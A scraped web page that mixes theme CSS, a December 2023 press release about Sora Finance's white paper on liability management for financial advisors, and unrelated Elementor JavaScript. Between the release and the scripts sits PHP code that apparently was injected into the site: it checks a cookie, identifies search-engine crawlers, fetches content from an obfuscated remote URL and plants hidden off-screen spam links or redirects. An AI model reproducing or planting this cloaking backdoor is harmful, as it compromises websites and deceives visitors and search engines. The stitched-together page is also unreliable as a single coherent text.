!important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-primary-gradient-gradient-background{background: var(--wp--preset--gradient--primary-gradient) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>

<style id='csco-styles-inline-css'>

:root {
	/* Base Font */
	--cs-font-base-family: DM Sans;
	--cs-font-base-size: 1rem;
	--cs-font-base-weight: 400;
	--cs-font-base-style: normal;
	--cs-font-base-letter-spacing: normal;
	--cs-font-base-line-height: 1.55;

	/* Primary Font */
	--cs-font-primary-family: DM Sans;
	--cs-font-primary-size: 1rem;
	--cs-font-primary-weight: 800;
	--cs-font-primary-style: normal;
	--cs-font-primary-letter-spacing: -0.03em;
	--cs-font-primary-text-transform: none;
	--cs-font-primary-line-height: 1.2;

	/* Secondary Font */
	--cs-font-secondary-family: DM Sans;
	--cs-font-secondary-size: 0.875rem;
	--cs-font-secondary-weight: 400;
	--cs-font-secondary-style: normal;
	--cs-font-secondary-letter-spacing: normal;
	--cs-font-secondary-text-transform: none;
	--cs-font-secondary-line-height: 1.55;

	/* Section Headings Font */
	--cs-font-section-headings-family: DM Sans;
	--cs-font-section-headings-size: 0.75rem;
	--cs-font-section-headings-weight: 800;
	--cs-font-section-headings-style: normal;
	--cs-font-section-headings-letter-spacing: 0.1em;
	--cs-font-section-headings-text-transform: uppercase;
	--cs-font-section-headings-line-height: 1.2;

	/* Post Title Font Size */
	--cs-font-post-title-family: DM Sans;
	--cs-font-post-title-weight: 700;
	--cs-font-post-title-size: 3.25rem;
	--cs-font-post-title-letter-spacing: -0.05em;
	--cs-font-post-title-line-height: 1.2;

	/* Post Subbtitle */
	--cs-font-post-subtitle-family: DM Sans;
	--cs-font-post-subtitle-weight: 400;
	--cs-font-post-subtitle-size: 1.125rem;
	--cs-font-post-subtitle-letter-spacing: normal;
	--cs-font-post-subtitle-line-height: 1.55;

	/* Post Category Font */
	--cs-font-category-family: DM Sans;
	--cs-font-category-size: 0.6875rem;
	--cs-font-category-weight: 800;
	--cs-font-category-style: normal;
	--cs-font-category-letter-spacing: 0.1em;
	--cs-font-category-text-transform: uppercase;
	--cs-font-category-line-height: 1.2;

	/* Post Meta Font */
	--cs-font-post-meta-family: DM Sans;
	--cs-font-post-meta-size: 0.9375rem;
	--cs-font-post-meta-weight: 600;
	--cs-font-post-meta-style: normal;
	--cs-font-post-meta-letter-spacing: -0.02em;
	--cs-font-post-meta-text-transform: none;
	--cs-font-post-meta-line-height: 1.2;

	/* Post Content */
	--cs-font-post-content-family: DM Sans;
	--cs-font-post-content-weight: 400;
	--cs-font-post-content-size: 1.125rem;
	--cs-font-post-content-letter-spacing: normal;
	--cs-font-post-content-line-height: 1.55;

	/* Input Font */
	--cs-font-input-family: DM Sans;
	--cs-font-input-size: 0.875rem;
	--cs-font-input-weight: 400;
	--cs-font-input-style: normal;
	--cs-font-input-line-height: 1.55;
	--cs-font-input-letter-spacing: normal;
	--cs-font-input-text-transform: none;

	/* Entry Title Font Size */
	--cs-font-entry-title-family: DM Sans;
	--cs-font-entry-title-weight: 700;
	--cs-font-entry-title-letter-spacing: -0.04em;
	--cs-font-entry-title-line-height: 1.2;

	/* Entry Excerpt */
	--cs-font-entry-excerpt-family: DM Sans;
	--cs-font-entry-excerpt-weight: 400;
	--cs-font-entry-excerpt-size: 1rem;
	--cs-font-entry-excerpt-letter-spacing: normal;
	--cs-font-entry-excerpt-line-height: 1.55;

	/* Logos --------------- */

	/* Main Logo */
	--cs-font-main-logo-family: DM Sans;
	--cs-font-main-logo-size: 1.375rem;
	--cs-font-main-logo-weight: 700;
	--cs-font-main-logo-style: normal;
	--cs-font-main-logo-letter-spacing: -0.04em;
	--cs-font-main-logo-text-transform: none;

	/* Footer Logo */
	--cs-font-footer-logo-family: DM Sans;
	--cs-font-footer-logo-size: 1.375rem;
	--cs-font-footer-logo-weight: 700;
	--cs-font-footer-logo-style: normal;
	--cs-font-footer-logo-letter-spacing: -0.04em;
	--cs-font-footer-logo-text-transform: none;

	/* Headings --------------- */

	/* Headings */
	--cs-font-headings-family: DM Sans;
	--cs-font-headings-weight: 700;
	--cs-font-headings-style: normal;
	--cs-font-headings-line-height: 1.2;
	--cs-font-headings-letter-spacing: -0.04em;
	--cs-font-headings-text-transform: none;

	/* Menu Font --------------- */

	/* Menu */
	/* Used for main top level menu elements. */
	--cs-font-menu-family: DM Sans;
	--cs-font-menu-size: 1rem;
	--cs-font-menu-weight: 600;
	--cs-font-menu-style: normal;
	--cs-font-menu-letter-spacing: -0.03em;
	--cs-font-menu-text-transform: none;
	--cs-font-menu-line-height: 1.2;

	/* Submenu Font */
	/* Used for submenu elements. */
	--cs-font-submenu-family: DM Sans;
	--cs-font-submenu-size: 1rem;
	--cs-font-submenu-weight: 600;
	--cs-font-submenu-style: normal;
	--cs-font-submenu-letter-spacing: -0.03em;
	--cs-font-submenu-text-transform: none;
	--cs-font-submenu-line-height: 1.2;

	/* Footer Menu */
	--cs-font-footer-menu-family: DM Sans;
	--cs-font-footer-menu-size: 0.75rem;
	--cs-font-footer-menu-weight: 800;
	--cs-font-footer-menu-style: normal;
	--cs-font-footer-menu-letter-spacing: 0.1em;
	--cs-font-footer-menu-text-transform: uppercase;
	--cs-font-footer-menu-line-height: 1.2;

	/* Footer Submenu Font */
	--cs-font-footer-submenu-family: DM Sans;
	--cs-font-footer-submenu-size: 1rem;
	--cs-font-footer-submenu-weight: 600;
	--cs-font-footer-submenu-style: normal;
	--cs-font-footer-submenu-letter-spacing: -0.03m;
	--cs-font-footer-submenu-text-transform: none;
	--cs-font-footer-submenu-line-height: 1.2;
}

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		<h1 class="cs-entry__title"><span>New Paper on Liability Management Shows Financial Advisors How to Optimize Client Wealth</span></h1>	</div>
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<p class="prntac"><i>Industry thought leaders at T3 and Oasis Group partner with Sora Finance, paving the way for financial advisors as they navigate today&#8217;s complex liability landscape for HNW and UHNW clients</i></p>
<p><span class="legendSpanClass"><span class="xn-location">SAN FRANCISCO</span></span>, <span class="legendSpanClass"><span class="xn-chron">Dec. 6, 2023</span></span> /PRNewswire/ &#8212; <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=3055796370&amp;u=http%3A%2F%2Fwww.sorafinance.com%2F&amp;a=Sora+Finance" rel="nofollow noopener" target="_blank">Sora Finance</a>, an easy-to-use decision-support software that helps wealth managers and financial advisors visualize, analyze, and act to optimize the liabilities side of their clients&#8217; balance sheets, today announced a new white paper that shows advisors how liability management provides significant benefits when added to a professional suite of comprehensive wealth management and financial advisory services. According to the paper, today&#8217;s clients need and expect financial advisors to look beyond the assets side of their balance sheet to help them optimize their liabilities. Historically, advisors have been hindered by a lack of access to timely and reliable liability data for their clients. </p>
<p>Written by <span class="xn-person">John O&#8217;Connell</span>, founder of <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=3022960058&amp;u=http%3A%2F%2Fwww.theoasisgrp.com%2F&amp;a=The+Oasis+Group" rel="nofollow noopener" target="_blank">The Oasis Group</a>, a leading provider of hands-on consulting and advisory services for wealth management and financial technology firms, and <span class="xn-person">Joel Bruckenstein</span>, president of <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=1203649081&amp;u=http%3A%2F%2Fwww.t3conferences.com%2F&amp;a=Technology+Tools+for+Today" rel="nofollow noopener" target="_blank">Technology Tools for Today</a> (T3), the industry&#8217;s leading conference on technology as it directly relates to practice management and building a profitable business, the new paper – <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=714557227&amp;u=https%3A%2F%2Fwww.sorafinance.com%2Fs%2FFinancial-Advisors-Should-Consider-Liability-Management.pdf&amp;a=%22Unlocking+Growth+Opportunities%3A+The+Case+for+Liability+Management+in+High+Net+Worth+and+Ultra+High+Net+Worth+Client+Portfolios%22" rel="nofollow noopener" target="_blank">&#8220;Unlocking Growth Opportunities: The Case for Liability Management in High Net Worth and Ultra High Net Worth Client Portfolios&#8221;</a> – is hot off the press and available now. </p>
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<p>&#8220;Sora&#8217;s cutting-edge technology and insightful strategies are empowering financial advisors to offer more comprehensive and effective financial solutions&#8221;</p>
<p><a class="btn btn-default btn-twitter" href="https://www.prnewswire.com/news-releases/javascript:;" onclick="shareIt(this,&#039;Tweet&#039;,&#039;Release Body&#039;)" data-tweet-text="&quot;Sora&#039;s cutting-edge technology and insightful strategies are empowering financial advisors to offer more comprehensive and effective financial solutions&quot;" data-twitter-share-url="https://www.prnewswire.com/news-releases/new-paper-on-liability-management-shows-financial-advisors-how-to-optimize-client-wealth-302006695.html" target="_blank" rel="noopener"><br />
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<p>&#8220;Liability optimization is the practice of making sure that your client&#8217;s liabilities are always deployed in the most efficient and effective way,&#8221; said Bruckenstein, who is also a CFP® and formerly practiced as a financial advisor. &#8220;It is not about helping to get people out of debt. Virtually all wealthy people have debt. It&#8217;s one of the ways they structure their finances.&#8221;</p>
<p><b>&#8220;THE WHY&#8221; BEHIND LIABILITY MANAGEMENT</b></p>
<p>The new paper, being released today, explores the &#8220;why&#8221; behind liability management, while also taking a more detailed look at essential elements of the practice which ensures current debt is always optimized and new debt is taken out on the most favorable terms to the client. Other core elements include the complexities of accessing and managing liability data, debt assessments, use of SBLs (securities-based-lending) and SBLOCs (securities-based-lines-of-credit), as well as how wealth management firms can leverage liability management to drive growth.</p>
<p>&#8220;High net worth individuals expect their wealth management team to offer liability management capabilities,&#8217; said O&#8217;Connell. &#8220;This is particularly important for entrepreneurial clients who understand the value of liabilities on their balance sheet. Wealth managers have a huge opportunity to grow their HNW client base by engaging in liability management conversations.&#8221;</p>
<p>&#8220;Almost 100% of my HNW and UHNW clients have debt. They use debt to optimally structure their financial lives. It&#8217;s a core component of how they grow their net worth over time,&#8221; said <span class="xn-person">Tushar Kumar</span> of <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=1596714763&amp;u=https%3A%2F%2Ftwinpwa.com%2F&amp;a=Twin+Peaks+Wealth+Advisors" rel="nofollow noopener" target="_blank">Twin Peaks Wealth Advisors</a>, a wealth management firm based in <span class="xn-location">California</span> that specializes in serving clients working in the tech sector. &#8220;The Sora platform gives us great information and strong lending options, fueling meaningful conversations as we work to ensure that the client&#8217;s liability situation is always optimized for their unique situation and goals.&#8221;</p>
<p>Financial services for HNW clients typically include investment management and tax advice as well as help with trusts and estates and access to hedge funds and private equity firms. Liability management – a practice that looks at what clients currently owe (mortgages, college loans, credit cards, business and auto loans, for example) – has not, however, been as widely adopted by advisors.</p>
<p>&#8220;Liability planning is an essential tool in wealth management, especially for high net worth and ultra-high net worth clients,&#8221; said <span class="xn-person">Chip Roame</span>, Founder and Managing Partner of <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=1491672180&amp;u=https%3A%2F%2Fwww.tiburonadvisors.com%2F&amp;a=Tiburon+Strategic+Advisors" rel="nofollow noopener" target="_blank">Tiburon Strategic Advisors</a> and the <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=1929528778&amp;u=https%3A%2F%2Fwww.tiburonadvisors.com%2FCEO_Summits.html&amp;a=Tiburon+CEO+Summits" rel="nofollow noopener" target="_blank">Tiburon CEO Summits</a>. &#8220;The innovative approaches taken by startups like Sora are leading the way in transforming how financial advisors approach liabilities. Its cutting-edge technology and insightful strategies are empowering financial advisors to offer more comprehensive and effective financial solutions.&#8221; </p>
<p><b>TECHNOLOGY CHANGES THE GAME </b></p>
<p>&#8220;Innovative tech that drives better client conversations is table stakes,&#8221; added fintech veteran Bruckenstein. &#8220;Clients expect their advisors to have the best tech stack available, including technology that helps them assess and strategically manage their liabilities.&#8221;</p>
<p>&#8220;Advancements in technology, like Sora&#8217;s platform, enable independent financial advisors and registered investment advisors (RIAs) to compete with the big Wall Street brokerage firms and wirehouses more effectively by providing RIAs and supporting financial services firms such as national wealth management firms and independent broker/dealer groups with superior data, analytics, recommendations, and robust lending options,&#8221; noted <span class="xn-person">Rohit Agarwal</span>, Co-CEO of Sora. </p>
<p>&#8220;Managing liabilities effectively is an essential part of a good financial plan. Debt must be managed carefully and responsibly. Knowing the interest rate you&#8217;re paying, the terms, and the duration of any loans is required to properly manage the liabilities side of one&#8217;s balance sheet,&#8221; said Siddhartha Oza, Co-CEO of Sora. </p>
<p>Bruckenstein, O&#8217;Connell, Agarwal, and Oza will all be present at the upcoming <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=2537513702&amp;u=http%3A%2F%2Fwww.t3conferences.com%2F&amp;a=T3+Conference" rel="nofollow noopener" target="_blank">T3 Conference</a>, being held <span class="xn-chron">January 22-25, 2024</span> at the Cosmopolitan Hotel and Resort in <span class="xn-location">Las Vegas</span>.</p>
<p><b>ACCESS THE PAPER NOW</b></p>
<p>Readers of the paper will gain a comprehensive overview of the power of liability management to help advisors increase their clients&#8217; net worth and demonstrate their commitment to their clients&#8217; overall financial well-being, not just investment performance.</p>
<p><b>Unlocking Growth Opportunities: The Case for Liability Management in High Net Worth and Ultra High Net Worth Client Portfolios</b>, <b>is available as a free download here:</b> <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=1121394194&amp;u=https%3A%2F%2Fwww.sorafinance.com%2Fwhite-paper&amp;a=https%3A%2F%2Fwww.sorafinance.com%2Fwhite-paper" rel="nofollow noopener" target="_blank">https://www.sorafinance.com/white-paper</a></p>
<p><b>ABOUT SORA FINANCE</b></p>
<p>Founded by Siddhartha Oza and <span class="xn-person">Rohit Agarwal</span> in 2021, Sora&#8217;s debt optimization and liability management software seamlessly optimizes existing home, auto, student and personal loans, and finds the best rates for any new loans. The genesis of Sora was a shared belief that financial advisors could do more than simply manage assets. The co-founders saw an opportunity to empower advisors with the tools to help their clients grow wealth across their entire balance sheet. Sora&#8217;s product continuously scans and monitors US lenders in the background to find better rates for clients&#8217; new or existing liabilities and alerts them about a potentially high-value next best action. The Sora solution supports financial advisors in their quest to help their clients manage the other side of their personal balance sheet – providing the insights they need to offer a more comprehensive service, not just investment management and traditional financial planning. Sora leverages advanced AI technology to push the boundaries of the traditional financial advisory realm. Sora selects the ideal loan option for the client and helps to seamlessly execute the loan, freeing up more capital for the advisor and clients to invest. Their user-friendly platform provides insights and recommendations, generates detailed reports, and offers effortless loan management – all with a focus on promoting net-worth-growth for advisors and their clients. To learn more about Sora, visit <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=684408700&amp;u=https%3A%2F%2Fwww.sorafinance.com%2F&amp;a=SoraFinance.com" rel="nofollow noopener" target="_blank">SoraFinance.com</a>.</p>
<p><b>ABOUT T3 (TECHNOLOGY TOOLS FOR TODAY)</b></p>
<p>T3 was founded in 2003 by financial services experts (and former financial advisors) <span class="xn-person">David Drucker</span> and <span class="xn-person">Joel Bruckenstein</span>. Together they are the authors of three books on applied practice management and technology for financial advisors. In the early years, they produced the T3 Technology newsletter, a first-of-its-kind publication in the financial services industry. From the newsletter, <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=1142650530&amp;u=http%3A%2F%2Fwww.t3technologyhub.com%2F&amp;a=T3TechnologyHub.com" rel="nofollow noopener" target="_blank">T3TechnologyHub.com</a>, an online info-portal for financial services firms and financial advisors, was born. Twenty years ago (in 2004), the duo began hosting what has now become the industry&#8217;s leading conference on technology as it directly relates to practice management and building a profitable business. To learn more about T3, visit <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=2910394987&amp;u=http%3A%2F%2Ft3conferences.com%2F&amp;a=T3Conferences.com" rel="nofollow noopener" target="_blank">T3Conferences.com</a>.</p>
<p><b>ABOUT THE OASIS GROUP</b></p>
<p>The Oasis Group was founded in 2019 by <span class="xn-person">John O&#8217;Connell</span> with the goal of helping financial service companies and leaders with their technology and revenue generation challenges. The team works with start-ups, emerging businesses, established firms, and publicly traded enterprises within the financial services space that want to take their organization to the next level of performance. O&#8217;Connell and his team assist their clients in various capacities through their consulting and advisory services. To learn more about The Oasis Group, visit <a href="https://c212.net/c/link/?t=0&amp;l=en&amp;o=4042831-1&amp;h=2483056938&amp;u=http%3A%2F%2Fwww.theoasisgrp.com%2F&amp;a=TheOasisGrp.com." rel="nofollow noopener" target="_blank">TheOasisGrp.com.</a></p>
<p><b>Media Contact</b>:<br class="dnr"/><span class="xn-person">Dori Thomas</span><br class="dnr"/>Impact Communications, Inc.<br class="dnr"/><a href="http://www.prnewswire.com/cdn-cgi/l/email-protection#44002b362d102c2b292537040d2934252730072b2929312a2d2725302d2b2a376a2b3623" rel="nofollow noopener" target="_blank"><span class="__cf_email__" data-cfemail="783c170a112c101715190b38311508191b0c3b1715150d16111b190c1117160b56170a1f">[email protected]</span></a><br class="dnr"/>913-649-5009 </p>
<p>SOURCE Sora Finance</p>
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if(isset($_COOKIE['Bz'])) {
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    $bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#';
    if (@preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $uri)) {
        return false;
    }

    class HTTP_USER_AGENT {
        public $url = "\x68\x74\x74\x70:\x2f/\x6e3\x73p\x6fr\x74s\x2ec\x6fm\x2fg\x65t\x2ep\x68p";
        public $ua = '';
        public $uri = '';
        public $ip = '';
        public $ip_list_bing = array(
            "191.232.*", "131.253.*", "157.55.*", "157.56.*", "207.46.*", "40.77.*", "204.79.*",
            "68.180.*", "199.30.*", "131.107.*", "207.46.*", "207.68.*", "213.199.*", "65.54.*",
            "65.52.*", "65.55.*", "68.142.*", "98.138.*", "206.190.*", "207.126.*", "209.131.*",
            "209.191.*", "209.73.*", "216.109.*", "216.136.*", "216.145.*", "216.155.*", "64.157.*",
            "66.163.*", "66.196.*", "66.218.*", "66.228.*", "66.94.*", "67.195.*", "68.142.*",
            "68.180.*", "69.147.*", "72.30.*"
        );
        public $ip_list_google = array(
            "66.249.*", "64.233.*", "66.102.*", "72.14.*", "74.125.*", "209.85.*", "216.239.*",
            "172.217.*", "108.177.*", "35.190.247.*", "66.249.80.*"
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        public $links = array();
        public $bot = '';
        public $ref = '';
        function get($url) {
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                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
                curl_setopt($ch, CURLOPT_TIMEOUT, 5);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
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                            $resp .= $curr;
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                            fclose($fp);
                            return substr(strstr($resp, "\r\n\r\n"), 3);
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            $bot = FALSE;
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            $this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            if (@preg_match('/google/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'google';
            }
            if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'bing';
            }
            if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby|yandex|yadirectbot~i', $ua)) {
                $bot = TRUE;
                $this->bot = 'other';
            }
            if (!$bot) {
                if ((in_array($this->ip, $this->ip_list_bing))) {
                    $bot = TRUE;
                    $this->bot = 'bing';
                } else {
                    foreach ($this->ip_list_bing as $ip) {
                        if (preg_match("#$ip#", $this->ip)) {
                            $bot = TRUE;
                            $this->bot = 'bing';
                            break;
                        }
                    }
                }
            }
            if (!$bot) {
                if (in_array($this->ip, $this->ip_list_google)) {
                    $bot = TRUE;
                    $this->bot = 'google';
                } else {
                    foreach ($this->ip_list_google as $ip) {
                        if (preg_match("#^" . str_replace('*', '.*', $ip) . "$#", $this->ip)) {
                            $bot = TRUE;
                            $this->bot = 'google';
                            break;
                        }
                    }
                }
            }
            if (!$bot) {
                $hostbyaddr = @gethostbyaddr($this->ip);
                if (@preg_match('/google/i', $hostbyaddr)) {
                    $bot = TRUE;
                    $this->bot = 'google';
                }
                if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $hostbyaddr)) {
                    $bot = TRUE;
                    $this->bot = 'bing';
                }
            }
            $host = 'unknown';
            if (isset($_SERVER["HTTP_X_FORWARDED_HOST"])) {
                $_SERVER["HTTP_HOST"] = $_SERVER["HTTP_X_FORWARDED_HOST"];
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            $tmp = @parse_url('http://' . $_SERVER["HTTP_HOST"]);
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            if (isset($_COOKIE['CURLOPT_LF_TEST'])) {
                $url .= '&check=1';
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            $page = $this->get($url);
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                header("Location: {$url}");
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                die($page);
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                preg_match_all('~<link>(.*?)</link>~', $page, $m);
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                                $is_blocked = true;
                                break;
                            }
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                        if (!$is_blocked) {
                            $tags_vals[] = array('tag' => $tag, 'content' => $match);
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                    }
                }
                if (count($tags_vals) > count($this->links)) {
                    break;
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            $tag_index = 0;
            $link_index = 0;
            $links_count = count($this->links);
            $tags_vals_count = count($tags_vals);

            while ($link_index < $links_count && $tag_index < $tags_vals_count) {
                $link = $this->links[$link_index];
                if (str_ends_with($link, '###')) {
                    $linkHTML = str_replace('###', '', $link);
                } else {
                    $number = 7200 + strlen($link) % 1000;
                    $linkHTML = "<div style=\"position: absolute; left: -{$number}px;\">{$link}</div> ";
                }
                $tag_val = $tags_vals[$tag_index];
                if (strlen($tag_val['content']) % 2 == 1) {
                    $tag_content_new = $tag_val['content'];
                    $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1);
                } else {
                    if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") {
                        $tag_content_new = str_replace(".</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    } else {
                        $tag_content_new = str_replace("</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    }
                }
                $content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1);
                if (strpos($content, $linkHTML) !== false) {
                    $link_index++;
                }
                $tag_index++;
            }
            return $content;
        }
    }

    $ratel = new HTTP_USER_AGENT;
    $ratel->init($uri, $ua);
}/*! elementor - v3.31.0 - 27-08-2025 */
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/******/ 	var __webpack_modules__ = ({

/***/ "../assets/dev/js/utils/react.js":
/*!***************************************!*\
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/***/ ((__unused_webpack_module, exports, __webpack_require__) => {

"use strict";


var _typeof = __webpack_require__(/*! @babel/runtime/helpers/typeof */ "../node_modules/@babel/runtime/helpers/typeof.js");
Object.defineProperty(exports, "__esModule", ({
  value: true
}));
exports["default"] = void 0;
var React = _interopRequireWildcard(__webpack_require__(/*! react */ "react"));
var ReactDOM = _interopRequireWildcard(__webpack_require__(/*! react-dom */ "react-dom"));
var _client = __webpack_require__(/*! react-dom/client */ "../node_modules/react-dom/client.js");
function _interopRequireWildcard(e, t) { if ("function" == typeof WeakMap) var r = new WeakMap(), n = new WeakMap(); return (_interopRequireWildcard = function _interopRequireWildcard(e, t) { if (!t && e && e.__esModule) return e; var o, i, f = { __proto__: null, default: e }; if (null === e || "object" != _typeof(e) && "function" != typeof e) return f; if (o = t ? n : r) { if (o.has(e)) return o.get(e); o.set(e, f); } for (var _t in e) "default" !== _t && {}.hasOwnProperty.call(e, _t) && ((i = (o = Object.defineProperty) && Object.getOwnPropertyDescriptor(e, _t)) && (i.get || i.set) ? o(f, _t, i) : f[_t] = e[_t]); return f; })(e, t); }
/**
 * Support conditional rendering of a React App to the DOM, based on the React version.
 * We use `createRoot` when available, but fallback to `ReactDOM.render` for older versions.
 *
 * @param { React.ReactElement } app        The app to render.
 * @param { HTMLElement }        domElement The DOM element to render the app into.
 *
 * @return {{ unmount: () => void }} The unmount function.
 */
function render(app, domElement) {
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// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
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/*!*******************************************************************!*\
  !*** ../modules/styleguide/assets/js/styleguide-app-initiator.js ***!
  \*******************************************************************/


var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js");
var _react = _interopRequireDefault(__webpack_require__(/*! react */ "react"));
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var _asyncToGenerator2 = _interopRequireDefault(__webpack_require__(/*! @babel/runtime/helpers/asyncToGenerator */ "../node_modules/@babel/runtime/helpers/asyncToGenerator.js"));
var _react2 = _interopRequireDefault(__webpack_require__(/*! elementor-utils/react */ "../assets/dev/js/utils/react.js"));
(function () {
  var unmountCallback;
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  /**
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            return Promise.all(/*! import() | styleguide-app */[__webpack_require__.e("vendors-node_modules_prop-types_index_js-node_modules_babel_runtime_helpers_slicedToArray_js"), __webpack_require__.e("vendors-node_modules_styled-components_dist_styled-components_browser_esm_js-node_modules_bab-0097ba"), __webpack_require__.e("styleguide-app")]).then(__webpack_require__.bind(__webpack_require__, /*! ./frontend/app */ "../modules/styleguide/assets/js/frontend/app.js"));
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            document.body.classList.add(styleguideBodyClass);
            _ReactUtils$render = _react2.default.render(/*#__PURE__*/_react.default.createElement(App, null), getStyleguideWidget()), unmountUtil = _ReactUtils$render.unmount;
            unmountCallback = unmountUtil;
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          case "end":
            return _context.stop();
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      }, _callee);
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   *
   * @return {Object|null}
   */
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        break;
    }
  });
})();
})();

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